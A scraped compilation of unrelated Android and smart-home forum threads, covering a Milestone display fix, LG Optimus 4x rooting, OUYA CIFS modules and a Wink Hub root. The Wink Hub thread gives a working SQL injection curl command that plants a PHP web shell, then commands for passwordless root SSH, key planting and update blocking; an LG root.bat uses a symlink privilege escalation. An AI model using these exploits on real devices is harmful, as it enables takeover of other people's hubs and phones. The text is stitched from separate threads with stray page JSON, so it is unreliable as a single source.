Database Develop

[fix] DSI errors on Motorola Milestone Froyo

possible fix workaround for the DSI errors on Motorola Milestone Froyo on nadlabaks github
http://github.com/nadlabak/android_...mmit/e1bb339b133dd88389a4c3a80bad3a984d12db50
EDIT:
IanTester said:
echo 1 > /sys/devices/omapdss/display0/update_mode
Click to expand...
Click to collapse
should do the same
EDIT:
<nadlabak> it causes slight tearing, visible e.g. when scrolling through email list...
Click to expand...
Click to collapse
but better than reboots or freezes
also fps might drop
EDIT:
for stock 2.2.1, customroms should use their 2nd init (CM7 HowTo):
move original file:
Code:
mv /system/bin/mot_boot_mode /system/bin/mot_boot_mode.bin
create file /system/bin/mot_boot_mode:
Code:
#!/system/bin/sh
export PATH=/system/bin:$PATH
mot_boot_mode.bin
echo 1 > /sys/devices/omapdss/display0/update_mode
set rights:
Code:
chmod 755 /system/bin/mot_boot_mode
EDIT:
made HowTo more clear, hopefully

How to apply this?
Sent from my Milestone using XDA App

to apply this fix you hafe to (as root or in OR)
if /system is readonly:
Code:
mount -o rw,remount /system
then edit /system/etc/rootfs/init.mapphone_umts.rc and add
Code:
# Set OMAP DSS update_mode to 1 (auto) to get rid of the DSI errors
write /sys/devices/omapdss/display0/update_mode 1
after these lines
Code:
# Enable panic on softlockup
write /proc/sys/kernel/softlockup_panic 1
reboot Milestone

Maybe it should be
mount -o ro,remount /dev/block/mtdblock6 /system
Hm, there is no directory rootfs in /system/etc/ ... Have you tried what you are writing here? Maybe "rootfs" refers to the root dir "/" and the file to edit is "/init.mapphone_umts.rc".

You don't need a reboot.
echo 1 > /sys/devices/omapdss/display0/update_mode
Click to expand...
Click to collapse
(I presume that's what that command in the rc file does, right?)
But make the changes to the rc file as well, so the above action is performed on subsequant boots.

as it's on nadlabaks github for cyanogenmod4milestone (CM7) it might differ from the way to do in official froyo. but IanTesters way should do the same

ColdSphinX said:
as it's on nadlabaks github for cyanogenmod4milestone (CM7) it might differ from the way to do in official froyo. but IanTesters way should do the same
Click to expand...
Click to collapse
Seems to be the case. But since I'm not able to edit /init.mapphone_umts.rc (that's the reason why there is an extra dir for this in cyanogenmod), how am I supposed to implement this fix in the official froyo?

Done on CM6.
Yesterday I was browsing the system folders and found this file, full of customizable options, now I know that it's useful.

@tuxor1337: look for the mot_boot_mode hack to run a script as it's used for overclock
IanTester said:
echo 1 > /sys/devices/omapdss/display0/update_mode
Click to expand...
Click to collapse

For stock Froyo roms, i applied VR and then ran AOR, connected phone to pc and used the following commands in command prompt.
adb devices ( should show your device as connected )
adb shell
echo 1 > /sys/devices/omapdss/display0/update_mode
reboot
Upon reboot, i did not find any errors in dmesg which i usually find.
Can someone with more knowledge than me confirm if this is ok?

I know that can be a noobish question but what VR stands for ?

fuggii said:
I know that can be a noobish question but what VR stands for ?
Click to expand...
Click to collapse
VR --> Vulnerable recovery
AOR --> Androidiani openrecovery
I had to do it because adb was not recognising my phone while in the stock recovery menu.
Once i ran AOR, adb recognised my phone to be in recovery mode.

I make this "echo 1 > /sys/devices/omapdss/display0/update_mode" from terminal emulator and after reboot its back to "2" it must be done form adb in AOR ?

it has to be done on or after any boot.
I edited the 1st post to include the changes to do on stock 2.2.1

fuggii said:
I make this "echo 1 > /sys/devices/omapdss/display0/update_mode" from terminal emulator and after reboot its back to "2" it must be done form adb in AOR ?
Click to expand...
Click to collapse
Looks like it loses it during reboot, so it could be added to the init.rc file as well. I am not sure, that's why i asked with someone more knowledge to confirm this.
Anyone?

I have Autostart app and i make autostart.sh with that command and now its start every system boot.
In home i will try that ColdSphinX method and see what happend

@fuggii it's not my method, it's just a mot_boot_mode hack so you don't need any app and the fix get's applyed as early as we can

I think this should work but I copied all of this https://github.com/nadlabak/android...b50/prebuilt/etc/rootfs/init.mapphone_umts.rc
And used that as init.mapphone_umts.rc

Hey the OP needs updating....
It's missing the 1
echo 1 > /sys/devices/omapdss/display0/update_mode 1

zeppelinrox said:
It's missing the 1
echo 1 > /sys/devices/omapdss/display0/update_mode 1
Click to expand...
Click to collapse
no
Code:
echo [B]1[/B] > /sys/devices/omapdss/display0/update_mode
writest the value 1 into file /sys/devices/omapdss/display0/update_mode it's an other syntax then using write in the .rc

User Debug Mode?

I just got my Optimus 4x HD today (off of craigslist, I am in the USA) and I noticed that the homescreen says "User Debug Mode" in red right above the home dock (where the messaging, phone, and contacts are). Does anyone know what this means? I am on AT&T and everything is working. I will try to post a picture soon.
EDIT:
This should probably be in Q/A, sorry if this is the wrong forum!
EDIT2:
Uploaded with ImageShack.us
Sorry for the poor quality, the only other camera I have is the nexus 7 front facing one.

Sorry for off topic but how the did that person have the 4X ?
Sent from my LG-P999 using xda premium

LostInNorth805 said:
Sorry for off topic but how the did that person have the 4X ?
Sent from my LG-P999 using xda premium
Click to expand...
Click to collapse
He said he got it from Mobile World Congress or something and it was a tester phone.

overlord727 said:
He said he got it from Mobile World Congress or something and it was a tester phone.
Click to expand...
Click to collapse
From the looks of it its a developer phone. Is it already rooted?
Sent from my Nexus 7 using xda premium

overlord727 said:
He said he got it from Mobile World Congress or something and it was a tester phone.
Click to expand...
Click to collapse
Mobile world congress? Never heard of that so I Google it and its like a convention of all the OEM and network providers showing off their new product. So you are really lucky to have it...and I hate you
Sent from my Nexus 7 using xda premium

if you goto market and download a terminal app, and you open it and login on your mobile. do you see if the prompt is "#" or "$" and does su - work?
do you know how to use adb? can you connect from a pc to it?

It says /system/bin/sh: su-: not found
However, I can get into root explorer and go to the root directory. All of the other root apps say that I don't have the right permissions (like root checker, titanium backup, etc). I do know how to use ADB as well. I tried the rooting method that the one guy used on the development thread and that did not work. Also in the secret menu, the bootloader said unknown just like everyone elses.
I do know how to get into ADB on my computer and have the right drivers, but I don't know what you would want me to do.
EDIT:
Does anyone know how to take a screenshot natively?

Have you tried to push su directly?

overlord727 said:
It says /system/bin/sh: su-: not found
However, I can get into root explorer and go to the root directory. All of the other root apps say that I don't have the right permissions (like root checker, titanium backup, etc). I do know how to use ADB as well. I tried the rooting method that the one guy used on the development thread and that did not work. Also in the secret menu, the bootloader said unknown just like everyone elses.
I do know how to get into ADB on my computer and have the right drivers, but I don't know what you would want me to do.
EDIT:
Does anyone know how to take a screenshot natively?
Click to expand...
Click to collapse
Screenshot?
Power Button + Volume -
At the same time

meld said:
Screenshot?
Power Button + Volume -
At the same time
Click to expand...
Click to collapse
I actually just rooted and used screenshot ER to screenshot before I saw that method. Thanks! The root method in development worked, I tried again and second time was the charm

overlord727 said:
I actually just rooted and used screenshot ER to screenshot before I saw that method. Thanks! The root method in development worked, I tried again and second time was the charm
Click to expand...
Click to collapse
if you can dump /dev/block/mmcblk0p1 and /dev/block/mmcblk0p2 from that terminal it would be so great and share it here.
commands after your "su" are;
# cat /dev/block/mmcblk0p1 >/sdcard/dump_mmcblk0p1
# cat /dev/block/mmcblk0p2 >/sdcard/dump_mmcblk0p2
(of course leaving out "#" in those commands)
2 simple lines, can you help out here?
connect the mobile to your pc after and access internal memory card/storage and you see the 2 files,
zip them and upload somewhere , thanks.

I will do this as soon as I am off work!

overlord727 said:
I will do this as soon as I am off work!
Click to expand...
Click to collapse
xda community for o4x will so gratefully happy it might just help us on the rooting issue all others got.
thanks!
hoping to have some files to play with this evening then, and maybe even some hacking to do.

Dexter_nlb said:
xda community for o4x will so gratefully happy it might just help us on the rooting issue all others got.
thanks!
hoping to have some files to play with this evening then, and maybe even some hacking to do.
Click to expand...
Click to collapse
Got the files, sent you a PM!

I cannot post in the android development section, so I ask here...
the procedure for the optimus L7 might work for the optimus 4x? the root.bat pushes files in data\local\tmp, which is not locked, like in our phone...
here's the root.bat...
maybe we have to flash the V10a firmware...?
Spoiler
@echo -----------------------------------------------------------
@echo Root for LG Optimus L7
@echo Req:
@echo - USB Debugging on
@echo - Phone connected in Mass Storage mode
@echo -V10A Firmware
@echo Tips:
@echo - During reboots your phone will probably
@echo go to charge mode so when phone start to reboot
@echo unplug your usb and plug it again when lg logo
@echo start to glow red...
@echo - Wait for phone to fully boot and when you
@echo see lockscreen continue to next step
@echo BGDonLINE
@echo -----------------------------------------------------------
@pause
echo off
cls
adb shell mv /data/local/tmp /data/local/tmp.bak
adb shell ln -s /data /data/local/tmp
adb reboot
echo On Lockscreen press any key
pause
adb shell rm /data/local.prop > nul
adb shell "echo \"ro.kernel.qemu=1\" > /data/local.prop"
adb reboot
echo On Lockscreen press any key
pause
adb shell id
echo On Lockscreen press any key
pause
adb remount
adb push su /system/xbin/su
adb shell chown 0.0 /system/xbin/su
adb shell chmod 06755 /system/xbin/su
adb shell rm /data/local.prop
adb shell rm /data/local/tmp
adb shell mv /data/local/tmp.bak /data/local/tmp
adb push busybox /system/xbin/busybox
adb shell "chmod 755 /system/xbin/busybox"
adb shell "/system/xbin/busybox --install /system/xbin"
adb push superuser.apk /system/app/superuser.apk
adb reboot
echo Sweet magic is done Your phone is rooted
pause
echo on

Some info on "Android.os.Build.FINGERPRINT"
If you look at this website : glbenchmark.com/phonedetails.jsp?benchmark=glpro21&D=LG+P880&testgroup=system, there is a list of firmwares. There are three types of firmware releases I think, which are marked 1) 'user' (that's us end-consumers, market released locked devices), 2) 'userdebug' (test devices rootable) and 'eng' (I think this stands for engineer test sample) .
There are in this list two rootable "userdebug" firmwares:
lge/x3_open_eu/x3:4.0.3/IML74K/LGP880-V08c.1c0336ea88:userdebug/test-keys
lge/x3_open_eu/x3:4.0.3/IML74K/LGP880-V08c.1c03755587:userdebug/test-keys
There is one earlier "eng" firmware mentioned:
lge/x3_open_eu/x3:4.0.3/IML74K/LGP880-V07j.:eng/test-keys
Interestingly there are also v10c open Europe firmares in the list:
lge/x3_open_eu/x3:4.0.3/IML74K/LG-P880-V10c.1c1b3c0ab1:user/release-keys
lge/x3_open_eu/x3:4.0.3/IML74K/LG-P880-V10c.1c1b5b721a:user/release-keys
My own device has a "user" firmware, and that is:
lge/x3_open_eu/x3:4.0.3/IML74K/LG-P880-V10b.1c14fd118b:user/release-keys
My device systeminfo listes this version as: LG-P880-V10b-JUN-11-2012
the text "V10b.1c14fd118b" is listed in the hidden service menu.

i saw that, too.... unfortunately we cannot download those firmwares.... I cannot find firmwares before the V10a

arx-7-arbalest said:
i saw that, too.... unfortunately we cannot download those firmwares.... I cannot find firmwares before the V10a
Click to expand...
Click to collapse
Yeah, searched my ass off to find other firmwares, or to tweak the lg service site. but nothing.

Extract the firmware to us!
My phone is a developer edition! And i need those files to restore my phone! My phone was stuck on S/W update mode! Help me plz!:silly:

I contacted LG Singapore stating that bought the device but was not able to update the device. Informed that the upgrade tool showed the error. I asked to check the IMEI of my device. Maybe they release the update, if this process succeeds, simply register the device by LG. I may be talking nonsense, but it never hurts to try.
Sent from my LG-P990 using xda app-developers app

A working cifs.ko

Don't want to flash a full kernel just need the modules if possible. Many thanks

SordFish said:
Don't want to flash a full kernel just need the modules if possible. Many thanks
Click to expand...
Click to collapse
This is currently one of the top google results for "cifs ouya;" please delete or rename this thread, as there had been zero progress on it, but everyone who wants cifs on ouya is getting steered to it.

huh? no one compile it?
here you are

What I need to do with this files? can you explain with more detail please.?

download and extract them
Code:
adb push md4.ko /data/local/tmp/md4.ko
adb push nls_utf8.ko /data/local/tmp/nls_utf8.ko
adb push cifs.ko /data/local/tmp/cifs.ko
adb shell
su
mount -orw,remount /system
cat /data/local/tmp/md4.ko > /system/lib/modules/md4.ko
cat /data/local/tmp/nls_utf8.ko > /system/lib/modules/nls_utf8.ko
cat /data/local/tmp/cifs.ko > /system/lib/modules/cifs.ko
mount -oro,remount /system
insmod /system/lib/modules/md4.ko
insmod /system/lib/modules/nls_utf8.ko
insmod /system/lib/modules/cifs.ko
then use something like "CifsManager" to mount smb share
P.S. those modules are for 1.0.393-r1 only, and if Ouya release a newer firmware, you will lost the cifs functions.

>s added
needed some >s. I inserted them below
i just pasted it without looking and MAD pc speaker beeping action when it cats to the terminal
Code:
adb push md4.ko /data/local/tmp/md4.ko
adb push nls_utf8.ko /data/local/tmp/nls_utf8.ko
adb push cifs.ko /data/local/tmp/cifs.ko
adb shell
su
mount -orw,remount /system
cat /data/local/tmp/md4.ko > /system/lib/modules/md4.ko
cat /data/local/tmp/nls_utf8.ko > /system/lib/modules/nls_utf8.ko
cat /data/local/tmp/cifs.ko > /system/lib/modules/cifs.ko
mount -oro,remount /system
insmod /system/lib/modules/md4.ko
insmod /system/lib/modules/nls_utf8.ko
insmod /system/lib/modules/cifs.ko

Thanks.

WonderEkin said:
huh? no one compile it?
here you are
Click to expand...
Click to collapse
Err, I guess I should have noted that possibility as well, haha. Thanks.

hi, anyone have working cifs.ko in ouya?, the library is missing. the only option is cifmanager but can´t add at startup

I apologize for my ignorance, but what sort of practical applications would CIFS support offer on the OUYA? I side loaded an app called Samba Filesharing, and it seems to work fine, however the write speed is quite slow - under 3 MB/s from my laptop.
What would be the difference between following the steps above and just side loading the app I've mentioned? I'm very interested in using my OUYA as a file server in conjunction with a USB hard drive.
Thanks!
Sent from my iPhone using Tapatalk 2

So... figured I'd update this thread if anyone wants to test these...
Here's modules that should work on the current firmware ( OUYA 1.2.771 as of this writing ) as well as CIFSManager.
Install the same way as described by WonderEkin.

.. need some direction .. can't make this work .. "No such file or directory" .. share my directory from win8 with no security credential .. smb is working fine ..

realhuh said:
.. need some direction .. can't make this work .. "No such file or directory" .. share my directory from win8 with no security credential .. smb is working fine ..
Click to expand...
Click to collapse
Do these still work?

Wink Hub root

Rooting a Wink Hub with the latest (as of October) firmware (version 0.33) or earlier.
First use a curl command to exploit a SQL injection vulnerability to create a php file used to execute shell commands on the hub:
Code:
curl -d id="1 or 1=1';ATTACH DATABASE '/var/www/exploit.php' AS lol; CREATE TABLE lol.pwn (t TEXT); INSERT INTO lol.pwn (t) VALUES ('<?php passthru(' || char(36) || '_POST[' || char(39) || 'cmd' || char(39) || ']); ?>');--" http://192.168.0.1/dev_detail.php
Now you can supply shell commands to the exploit.php.
If you don't want to mess with ssh keys, now you can run this command to enable root login without using a password. My recommendation would be to immediately ssh in and use the passwd command to change the root password.
Code:
curl -d cmd='sed%20-i%20%27s%2F%3D-sg%2F%3D%2F%27%20%2Fetc%2Fdefault%2Fdropbear%3B%2Fetc%2Finit.d%2FS50dropbear%20restart%3Becho%20-e%20%22%5Cn%5Cn%22%20%7C%20passwd' http://192.168.0.1/exploit.php
For those who don't mind using ssh keys, or want to run other commands:
On the machine I want to copy my ssh key to root so I'd run something like this:
Code:
echo MySSH_PublicKey > /root/.ssh/authorizedkeys
It would be nice if you could just call:
Code:
curl -d cmd='echo MySSH_PublicKey > /root/.ssh/authorizedkeys'
But that won't generally work because of http issues. The key is to urlencode the cmd you want to run using a site like http://meyerweb.com/eric/tools/dencoder/
Just urlencode the bits between the single quotes, the php exploit won't work without the single quotes.
So after getting the urlencoded command I actually invoke:
Code:
curl -d cmd='echo%20MySSH_PublicKey%20%3E%20%2Froot%2F.ssh%2Fauthorizedkeys' http://192.168.0.1/exploit.php
Then you can happily ssh as root to the wink hub!
:victory:

FreeFly said:
Then you can happily ssh as root to the wink hub!
:victory:
Click to expand...
Click to collapse
FIRST REPLY! :good:
This is awesome! I can't wait to see where this goes. We should also get Nashira in here with his awesome android app, BLINK that allows a rooted hub to be controlled locally.
https://github.com/nashira/blink
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}

This awesome. Thanks for the great work

Nice work. This will make things much easier.
Some people (people running Windows for instance) are having issues generating the ssh keys. As a suggestion, can we incorporate the below so that people can just login as root using a password? I believe this would make things even simplier.
Code:
#commands to allow root login using root as password
sed -i 's/=-sg/=/' /etc/default/dropbear;/etc/init.d/S50dropbear restart
echo -e 'root\nroot' | passwd
I don't have enough post to provide the exact command, but it should be something like:
curl -d cmd='sed%20-i%20%27s%2F%3D-sg%2F%3D%2F%27%20%2Fetc%2Fdefault%2Fdropbear%3B%2Fetc%2Finit.d%2FS50dropbear%20restart' hxxp/ipaddress/exploit.php
curl -d cmd='echo%20-e%20%22root%5Cnroot%22%20%7C%20passwd' hxxp/ipaddress/exploit.php

FreeFly said:
Rooting a Wink Hub with the latest (as of October) firmware (version 0.33) or earlier.
Click to expand...
Click to collapse
Very nice!
I started lookng for another PHP hole but never looked that hard as my unit was already rooted. I did my upgrade by downloding the app-rootfs.ubi manually and using ubiformat to flash it on.
However in the official Wink app its still showing me version 0 I've been wading through the upgrade scripts to see where it set's version 33 its in /database somehere If you could take a look at your device and let me know I'd very much appreciate it.
I also have a pretty good script that downloads the update re-exploits the update before it installs the update with ubiformat. There is about 4 or 5 places that have a lot of this wink rooting data. If there is interest I would be happy to setup a forum to focus the very small "scene"
If anyone has setup a kidde smoke alarm via aprontest let me know I have had much luck as of yet. I'll certainly post if I make some headway.

berserko said:
Very nice!
I started lookng for another PHP hole but never looked that hard as my unit was already rooted. I did my upgrade by downloding the app-rootfs.ubi manually and using ubiformat to flash it on.
However in the official Wink app its still showing me version 0 I've been wading through the upgrade scripts to see where it set's version 33 its in /database somehere If you could take a look at your device and let me know I'd very much appreciate it.
I also have a pretty good script that downloads the update re-exploits the update before it installs the update with ubiformat. There is about 4 or 5 places that have a lot of this wink rooting data. If there is interest I would be happy to setup a forum to focus the very small "scene"
If anyone has setup a kidde smoke alarm via aprontest let me know I have had much luck as of yet. I'll certainly post if I make some headway.
Click to expand...
Click to collapse
Here are the files that report the versions to the app.
echo "00.01" > /database/cf_build
echo "00.01" > /database/cf_fver2
echo "00.33" > /database/cf_fver3

berserko said:
There is about 4 or 5 places that have a lot of this wink rooting data. If there is interest I would be happy to setup a forum to focus the very small "scene"
Click to expand...
Click to collapse
Someone over at slickdeals did but doesn't look like there is anything happening over there yet. He's got some links but that is about it.
homeautomation proboards com/board/3/wink-hub
---------- Post added at 01:52 AM ---------- Previous post was at 01:16 AM ----------
FreeFly said:
Then you can happily ssh as root to the wink hub!
:victory:
Click to expand...
Click to collapse
It doesn't seem to be taking my key? I can't ssh into it.
disconnected: no supported authentication methods available (server sent publickey)?

nyvram1 said:
We should also get Nashira in here with his awesome android app, BLINK that allows a rooted hub to be controlled locally.
Click to expand...
Click to collapse
BLINK does look very nice. I'd originally wanted to root the hubs just to run my own scripts for home automation, but that app is very cool.
:good:

00.47 is out and this particular sql injection has been closed
00.47 is out and this particular sql injection has been closed

nyvram1 said:
FIRST REPLY! :good:
This is awesome! I can't wait to see where this goes. We should also get Nashira in here with his awesome android app, BLINK that allows a rooted hub to be controlled locally.
Click to expand...
Click to collapse
I'm also interested in Nashira's project, but I'm looking to use his work to figure out how to send commands from a Raspberry Pi that will be the equivalent of pushing a light-on button on the Android app. Being able to issue commands to the wink by running a python script, for example, would open up the hub to be used in conjunction with lots of home automation platforms. I have a bunch of cheap Arduino sensors integrated with an open source home automation system that is much more flexible than Wink, so I'd just like to use the Wink hub for its radios.
It looks like you can do a HTTP post to mimic a button push, but that's something I'm not familiar with. If someone has any insights, I'd appreciate it.
---------- Post added at 05:21 AM ---------- Previous post was at 05:13 AM ----------
FreeFly said:
BLINK does look very nice. I'd originally wanted to root the hubs just to run my own scripts for home automation, but that app is very cool.
:good:
Click to expand...
Click to collapse
Hey, that's what I'm interested in too. Do you think you can use his Android app to figure out how to send HTTP posts to the Wink hub?
qnology said:
00.47 is out and this particular sql injection has been closed
Click to expand...
Click to collapse
Qnology, when did that happen? Is it on the "wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi"? I just manually updated my rooted hub today with that .ubi file. Wonder if I upgraded to 0.33 or 0.47?? I don't even know how to find out.

automonkey said:
It doesn't seem to be taking my key? I can't ssh into it.
disconnected: no supported authentication methods available (server sent publickey)?
Click to expand...
Click to collapse
Did you try the passwordless method?

electronichamsters said:
Do you think you can use his Android app to figure out how to send HTTP posts to the Wink hub?
Click to expand...
Click to collapse
Pretty easy. His API is https://github.com/nashira/blink/blob/master/server/api/commands/index.php It's really a wrapper for the aprontest command. Pretty easy to use python to send JSON messages to the commands/index.php. Play with aprontest by itself for a bit first and you'll understand how to use it to switch and dim the lights:
http://gtvhacker.com/index.php/Wink_Hub​​
Then you'll understand you just send a command (update) with the master id for the light you want to switch, and value id (1 for dim, 2 for on/off), and a corresponding value (1-255 for dim / ON or OFF) wrap it in JSON and send to command/index.php
I'm going to write some code to do this myself so I'll post some samples here when I do.

Really?? They already patched it?

electronichamsters said:
Qnology, when did that happen? Is it on the "wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi"? I just manually updated my rooted hub today with that .ubi file. Wonder if I upgraded to 0.33 or 0.47?? I don't even know how to find out.
Click to expand...
Click to collapse
I guess yesterday. I upgraded a new out of box Win Hub using the iOS Wink App thinking that I would get 00.33. When I ran the curl command against dev_detail.php and received a 404, I checked my iOS Wink app and it showed that the Hub was on firmware 00.47.

FreeFly said:
Did you try the passwordless method?
Click to expand...
Click to collapse
Yes I got that to work via Rezurok's cmd.php, doing it via curl on windows in a command window wasn't giving me anything useful for feedback, whereas the cmd.php let me know it was pissy because it was too short. I've got it working now.

electronichamsters said:
Qnology, when did that happen? Is it on the "wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi"? I just manually updated my rooted hub today with that .ubi file. Wonder if I upgraded to 0.33 or 0.47?? I don't even know how to find out.
Click to expand...
Click to collapse
Run an MD5sum against your app-rootfs.ubi if the md5sum is 55574706f2cbf4f6e17e4d224b63287d then you have version 47. I don't havre the 33 md5sum in front of me I'll post it if I can find it...
---------- Post added at 02:38 PM ---------- Previous post was at 02:20 PM ----------
berserko said:
Run an MD5sum against your app-rootfs.ubi if the md5sum is 55574706f2cbf4f6e17e4d224b63287d then you have version 47. The MD5sum for 33 is eec07feee1fa1a4a06e05a00af18156f
Click to expand...
Click to collapse
I found the update went live at:
2014-12-10T22:16:58.000Z
I assume Z means zulu so 5:16pm eastern?

Here is the commands I used to upgrade my pre-rooted Wink for 33 to 47
Hope this helps:
Code:
echo "1" > /database/DO_UPDATE
reboot
Once it comes back in upgrade mode I ran the following:
Code:
cd /tmp
echo "127.0.0.1 localhost" > /etc/hosts
echo "127.0.0.1 flex-dvt" >> /etc/hosts
wget hXXp://wink-hub-images.s3.amazonaws.com/00.01/app-rootfs.ubi <--- Fix the URL forum is breaking it on me...
ubiformat /dev/mtd5 -f /tmp/app-rootfs.ubi
ubiattach -p /dev/mtd5
mkdir /tmp/updater
mount -t ubifs ubi2:rootfs /tmp/updater
sed -i 's/=-sg/=/' /tmp/updater/etc/default/dropbear
rm -f /tmp/updater/etc/init.d/S99local
cp /var/www/set_dev_value.php /tmp/updater/var/www
fw_setenv bootdelay 5
sed -i 's/bootdelay 0/bootdelay 5/' /database_default/u-boot.env
cp /etc/shadow /tmp/updater/etc
mkdir /tmp/updater/root/.ssh
cp /root/.ssh/authorized_keys /tmp/updater/root/.ssh/authorized_keys
echo "127.0.0.1 hub-api.winkapp.com" >> /tmp/updater/etc/hosts
echo "127.0.0.1 hub-updates.winkapp.com" >> /tmp/updater/etc/hosts
echo "127.0.0.1 wink-hub-images.s3.amazonaws.com" >> /tmp/updater/etc/hosts
sed -i 's/rm \/database\/wpa_supplicant.conf/echo WPA Fix #rm \/database\/wpa_supplicant.conf/' /tmp/updater/etc/init.d/S31platform
sed -i 's/#ttyAM0/ttyAM0/' /tmp/updater/etc/inittab
echo "00.01" > /database/cf_build
echo "00.01" > /database/cf_fver2
echo "00.47" > /database/cf_fver3
echo "127.0.0.1 hub-api.winkapp.com" >> /etc/hosts
echo "127.0.0.1 hub-updates.winkapp.com" >> /etc/hosts
echo "127.0.0.1 wink-hub-images.s3.amazonaws.com" >> /etc/hosts
echo "0" > /database/DO_UPDATE
reboot
Once the reboot completes the device will come back online as version 47 This worked fine for me but as always YMMV. The script keeps creates enough holes you should be able to get back in one way or another...

681
Starting from a new in box Wink Hub, is there anything I need to do before hand to make sure I can SSH into the "upgrade mode" partition? It'a not clear if people are using a Serial Console connection to access the "upgrade mode" partition or if they are SSHing in. For SSH access, I would assume the authorized_keys file needs to be updated (so the upgrade mode partition would need to be mounted and updated). Just need some confirmation. Thank you
berserko said:
Here is the commands I used to upgrade my pre-rooted Wink for 33 to 47
Hope this helps:
Code:
echo "1" > /database/DO_UPDATE
reboot
Click to expand...
Click to collapse

berserko said:
Run an MD5sum against your app-rootfs.ubi if the md5sum is 55574706f2cbf4f6e17e4d224b63287d then you have version 47. I don't havre the 33 md5sum in front of me I'll post it if I can find it...
Click to expand...
Click to collapse
I ran a MD5sum on the copy of app-rootfs.ubi that I downloaded from the the amazon aws link sometime on dec 10th. It is "eec07feee1fa1a4a06e05a00af18156f".
I have no idea if it's v0.33 or 0.47. If someone else has a file they're sure is 0.33, can they run a MD5sum on it?

If I rooted and never updated, so I have original firmware, can I use the method you described to go straight to 47?
Thanks
Jeff
qnology said:
Starting from a new in box Wink Hub, is there anything I need to do before hand to make sure I can SSH into the "upgrade mode" partition? It'a not clear if people are using a Serial Console connection to access the "upgrade mode" partition or if they are SSHing in. For SSH access, I would assume the authorized_keys file needs to be updated (so the upgrade mode partition would need to be mounted and updated). Just need some confirmation. Thank you
Click to expand...
Click to collapse

Stock, rooted. How can I run these commands on boot?

I'd like to run this on startup in order to disable vibrate:
Code:
echo 10 > /sys/class/timed_output/vibrator/amp
echo 120 > /sys/class/timed_output/vibrator/driving_ms
how can i do this? thx
edit: build NWS2.170620.003 / Android 7.1.1

You may want to look in this thread : https://forum.xda-developers.com/android-wear/development/app-weartoolbox-t3123923 .
Im not 100% sure but I think there was something about using a Txt File for commands.. but Im not sure